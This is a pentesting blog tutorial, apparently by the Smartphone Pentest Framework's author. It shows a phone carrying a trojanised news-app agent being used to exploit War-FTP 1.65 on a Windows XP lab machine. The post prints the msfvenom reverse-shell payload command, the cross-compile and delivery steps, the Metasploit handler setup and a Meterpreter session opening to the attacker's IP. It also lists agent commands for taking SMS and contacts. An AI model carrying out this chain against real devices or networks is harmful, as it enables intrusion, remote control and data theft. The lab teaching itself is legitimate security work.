This post assumes basic knowledge of using the Smartphone Pentest Framework (SPF). Specific required knowledge is referenced in the User Manual as it is referenced.
SPF can be downloaded here: Github
The SPF User Guide is here: User Guide
Videos about SPF are here: SPF Videos
In 2013 I started taking a look at the impact of compromised mobile devices in a network. I used mobile devices compromised with the SPF Agent to attack nearby devices in the network. Every pentester loves an Internal gig, because regardless of the externally facing security posture, you will be hard pressed to find any internal network that is completely free of exploitable issues, be they default passwords, missing patches, or just that software I installed to develop a new exercise for my introduction to exploit development class that is vulnerable to remote code execution. The trouble is none of that stuff is available over the Internet. The holy grail for pentesters and attackers alike is to infiltrate the perimeter be it through a client side attack, social engineering, sitting across the street and attacking the Wifi, etc.
Wouldn’t it be nice if we could just walk into the network with a compromised phone and have direct network access to all of those potential vulnerabilities? In many cases you can. Of course in a perfect world with perfect security posture, BYOD doesn’t exist, and if it does it is subject to a lengthy security review of each device before it is allowed on the network and a segregated VLAN for mobile devices. In the real world on the other hand it’s often as easy as “Dude, I need to put my phone on the Wifi.” Don’t forget about home and public networks as well. Even if you can’t get access to corporate devices on the enterprise network, work laptops often go home or to the coffee shop with sensitive corporate data and/or a VPN connection into the corporate network.
Given a mobile device I control in a local network and given an exploitable vulnerability on a computer on the local network, is it significantly more difficult to exploit the issue than in a traditional computer scenario where I had infiltrated the network via a client side or social engineering? Let’s consider a simple scenario. My Android device has been infected with the SPF Agent. It looks and functions just like the ABC News official app, so I have no reason to suspect that anything is up. However, it is also communicating with an SPF console via HTTP and SMS. On my local network I have a Windows XP SP3 machine (fully patched) with a nice vulnerable staple of introduction to exploit development class (War-FTP 1.65). This technique is not limited to this particular piece of software. Any code execution vulnerability will work. I could do this with the almighty MS08-067 too if I had the patience to code it in C.
I need some exploit code for War-FTP and I need it to be able to run on my infected Android. Androids are just a forked Linux kernel, so they can run compiled C code. They don’t however have support for scripting languages such as Python or Perl, so this will limit the public exploit code we can use. I needed to find a C exploit for CVE-1999-0256 for Windows XP SP3. An example exploit can be found in the SPF repository at Smartphone-Pentest-Framework/exploits/Windows/warftpmeterpreter.c. Then I needed to change the shellcode and adjust the offsets in the exploit string to match my environment. If you use Msfvenom with a windows/meterpreter/reverse_tcp payload with the correct bad characters as shown in the command below as of this writing the payload should be 317 bytes, so you will not have to adjust any offsets. You will need to have Metasploit installed for this. I am using Kali Linux, which comes with Metasploit pre-installed. Change the IP address in the LHOST option to the IP address of your attacking machine as necessary.
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.105 -b '\x00\x0a\x0d\x40' -f c
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
unsigned char buf =
(For details on how Msfvenom works check out Metasploit Unleashed )
Drop this code in place of the shellcode in the warftpmeterpreter.c file. If we just compile this with gcc, it will work fine on my Linux box, but I need it to run on my Android. Only my Android has direct network access to the Windows XP system and thus to the vulnerability. Luckily there are cross compilers for Android C code, one of which is included in the SPF repo.
(For installation instructions for SPF check out the User Manual Installation sectionor this installation video. Setting up and running SPF is covered in the User ManualSetting Up Section.
From the SPF main menu choose option 9.) Compile code to run on mobile devices
Welcome to the Smartphone Pentest Framework!
Georgia Weidman/Bulb Security
Select An Option from the Menu:
1.) Attach Framework to a Deployed Agent/Create Agent
2.) Send Commands to an Agent
3.) View Information Gathered
4.) Attach Framework to a Mobile Modem
5.) Run a remote attack
6.) Run a social engineering or client side attack
7.) Clear/Create Database
8.) Use Metasploit
9.) Compile code to run on mobile devices
10.) Install Stuff
11.) Use Drozer
Now choose option 1.) Compile C code for ARM Android devices
Compile code to run on mobile devices
1.) Compile C code for ARM Android
Compiles C code to run on ARM based Android devices. Supply the C code file and the output filename
File to Compile: /root/Smartphone-Pentest-Framework/exploits/Windows/warftpmeterpreter.c
Output File: /root/Smartphone-Pentest-Framework/exploits/Windows/warftpmeterpreter
Now we need to drop this compiled C file onto an infected mobile device. For this you will need an attached SPF Agent. Details on SPF Agents, how they work, and how to create and attach one to the SPF console are covered in the SPF User GuideAgents section.
Once a device is attached use the Agent Control menu (option 2.) Send Commands to an Agent. You will be presented with a list of attached agents. Choose the id of the Agent you want to interact with. You are then presented with a list of commands.
Select an agent to interact with or 0 to return to the previous menu
1.) Send SMS
2.) Take Picture
3.) Get Contacts
4.) Get SMS Database
5.) Privilege Escalation
6.) Download File
7.) Execute Command
8.) Upload File
9.) Ping Sweep
10.) TCP Listener
11.) Connect to Listener
12.) Run Nmap
13.) Execute Command and Upload Results
14.) Get Installed Apps List
15.) Remove Locks (Android < 4.4)
Choose option 6.) Download File and tell it to download the compiled C code. You will also be prompted for where you want to put it on the web server as well as the delivery method (HTTP or SMS).
Select a command to perform or 0 to return to the previous menu
Downloads a file to the phone. Fill in the file and the delivery method(SMS or HTTP).
File to download: /root/Smartphone-Pentest-Framework/exploits/Windows/warftpmeterpreter
Hosting Path: /path
Delivery Method(SMS or HTTP): HTTP
The file will be downloaded the files directory for the Agent application and will be marked as executable. Before we run it though, we need to set up a Metasploit listener to catch the incoming shell from War-FTP on the Windows XP box. I’ll do this using Msfconsole. Again if Metasploit is unfamiliar to you, check out Metasploit Unleashed.
root@kali:~# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.
root@kali:~# service metasploit start
[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.
Save your shells from AV! Upgrade to advanced AV evasion using dynamic
exe templates with Metasploit Pro -- type 'go_pro' to launch it now.
=[ metasploit v4.7.2-2013110601 [core:4.7 api:1.0]
+ — –=[ 1234 exploits – 742 auxiliary – 203 post
+ — –=[ 322 payloads – 30 encoders – 8 nops
msf> use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.20.105
lhost => 192.168.20.105
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.20.105:4444
[*] Starting the payload handler..
The handler is now listening for an incoming connection on 192.168.20.105 port 4444, the same values as our Msfvenom payload we dropped into the warftpmeterpreter.c file.
Now turn back to SPF and tell the Agent to execute a command with option 7.) Execute Command from the Agent control menu. You will be prompted for the command to run. The C code provided needs the IP address and port to attack, so give it the IP address of your Windows XP box and port 21 (FTP) as the arguments. You will also be asked if the file to run was downloaded. SPF can run system binaries as well, as long as our Agent app has execute rights. In our case though, we will say “yes” here to let the Agent know it will find the file in the app’s files directory.
Run a command in the terminal. Fill in the command and the delivery method(SMS or HTTP).
Command: warftpmeterpreter 192.168.20.29 21
Delivery Method(SMS or HTTP): HTTP
In less than a minute the exploit should be run from the infected mobile device, attacking the Windows XP system. War-FTP 1.65 actually gives an indication that it has been attacked. In the War-FTP Window a bunch of weird characters show up as shown here.
If your shellcode is correct, turning back to Metasploit you should now have a Meterpreter prompt from the Windows XP machine.
[*] Started reverse handler on 192.168.20.105:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.20.29
[*] Meterpreter session 1 opened (192.168.20.105:4444 -> 192.168.20.29:1777) at 2014-01-06 11:50:35 -0500
At this point, the attack is identical to a traditional network based attack. The connection is between Metasploit on the attacker’s machine and the Windows XP target. In the next post we will look at running the connection through the infected mobile device instead to avoid any monitoring or filtering at the network perimeter. This example was somewhat dumbed down since my Kali Linux and Windows XP boxes are on the same network, so I could have just sent the attack from Kali instead of from an infected mobile device, but it is easy to visualize how this would work if the infected mobile device and the Windows XP system are on an Internal network and Kali is Internet facing on another network.